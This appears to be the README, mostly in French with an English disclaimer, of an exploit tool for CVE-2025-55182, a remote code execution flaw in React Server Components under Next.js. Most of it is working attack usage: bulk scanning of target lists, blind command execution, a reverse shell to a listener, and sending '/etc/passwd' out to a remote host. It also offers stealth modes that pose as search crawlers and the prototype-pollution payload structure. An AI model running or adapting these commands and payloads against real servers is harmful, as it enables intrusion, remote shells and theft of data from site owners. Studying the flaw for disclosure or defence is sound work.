
CVE-2025-55182 Outil d'exploitation d'exécution de code à distance pour React Server Components
CVE-2025-55182 est une vulnérabilité critique d'exécution de code à distance (RCE) dans les composants serveur React (RSC) affectant les applications Next.js utilisant App Router avec Server Actions.
La vulnérabilité réside dans le processus de désérialisation du protocole Flight, permettant aux attaquants d'atteindre une exécution de code arbitraire via une pollution de prototype.
POUR TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT
Cet outil est fourni uniquement à des fins éducatives et de tests de pénétration autorisés. L'accès non autorisé aux systèmes informatiques est illégal. Toute utilisation illégale ou non autorisée de cet outil relève de la seule responsabilité de l'utilisateur. L'auteur décline toute responsabilité.
本工具仅供授权安全测试和教育目的使用。如有任何违规、非法操作,一切后果由使用者自行承担,与本人无关。
Veuillez lire attentivement le DISCLAIMER.md avant d'utiliser cet outil.
En utilisant cet outil, vous acceptez que :
| Composant | Versions affectées |
|---|---|
react-server-dom-webpack | 19.0.0 - 19.2.0 |
| Next.js | 15.x, 16.x (App Router + Server Actions) |
# Cloner le dépôt
git clone https://github.com/Spritualkb/CVE-2025-55182-exp.git
cd CVE-2025-55182-exp
# Installer les dépendances
pip install requests
pip install requests[socks] # Pour le support proxy SOCKS5
python3 exploit.py http://cible:3000 --check
# Analyse par lot de base
python3 exploit.py -f cibles.txt --check
# Avec mode furtif et délai
python3 exploit.py -f cibles.txt --check --stealth crawler --delay 2
# Enregistrer les cibles vulnérables dans un fichier
python3 exploit.py -f cibles.txt --check -o vulnérables.txt
python3 exploit.py http://cible:3000 -c "id"
# Démarrer l'écouteur d'abord
nc -lvnp 4444
# Exécuter le shell inversé
python3 exploit.py http://cible:3000 --revshell 10.0.0.1 4444
# Démarrer l'écouteur
nc -lvnp 4444
# Exécuter et exfiltrer la sortie
python3 exploit.py http://cible:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
python3 exploit.py http://cible:3000 --check --proxy socks5://127.0.0.1:1080
| Mode | Description |
|---|---|
browser | Imite les requêtes d'un vrai navigateur (par défaut) |
crawler | Imite les robots d'indexation (Googlebot, Baiduspider, etc.) |
security | Utilise les User-Agents des scanners de sécurité |
| Option | Description |
|---|---|
target | URL cible (ex., http://localhost:3000) |
-f, --file | Fichier contenant les URL cibles (une par ligne) |
-o, --output | Fichier de sortie pour les cibles vulnérables |
-c, --command | Commande à exécuter (aveugle) |
--check | Vérifier la vulnérabilité |
--proxy | Proxy SOCKS5 (ex., socks5://127.0.0.1:1080) |
--stealth | Mode furtif : browser, crawler, security |
--delay | Délai entre les requêtes en secondes |
--variants | Utiliser plusieurs variantes de charge utile |
--revshell IP PORT | Shell inversé vers IP:PORT |
--exfil CMD IP PORT | Exécuter CMD et envoyer la sortie vers IP:PORT |
-t, --timeout | Délai d'attente de la requête en secondes (défaut : 15) |
L'exploit exploite la pollution de prototype dans la désérialisation du protocole Flight :
Object.prototype.then via "$1:__proto__:then"_formData.get sur le constructeur Function via "$1:constructor:constructor"_prefix qui est passé à Function(){
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<code_malveillant>",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
CVE-2025-55182-exp/
├── exploit.py # Script d'exploitation principal
├── targets.txt # Liste des URL cibles (une par ligne)
└── README.md # Ce fichier
# Les commentaires commencent par #
http://cible1.com:3000
https://cible2.com
cible3.com:3000
react-server-dom-webpack et Next.jsCe projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
By downloading, copying, installing, or using this software, you agree to be bound by the terms of this disclaimer.
This tool is designed exclusively for:
You SHALL NOT use this tool for:
THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED. THE AUTHOR(S) DISCLAIM ALL WARRANTIES, INCLUDING BUT NOT LIMITED TO:
IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY: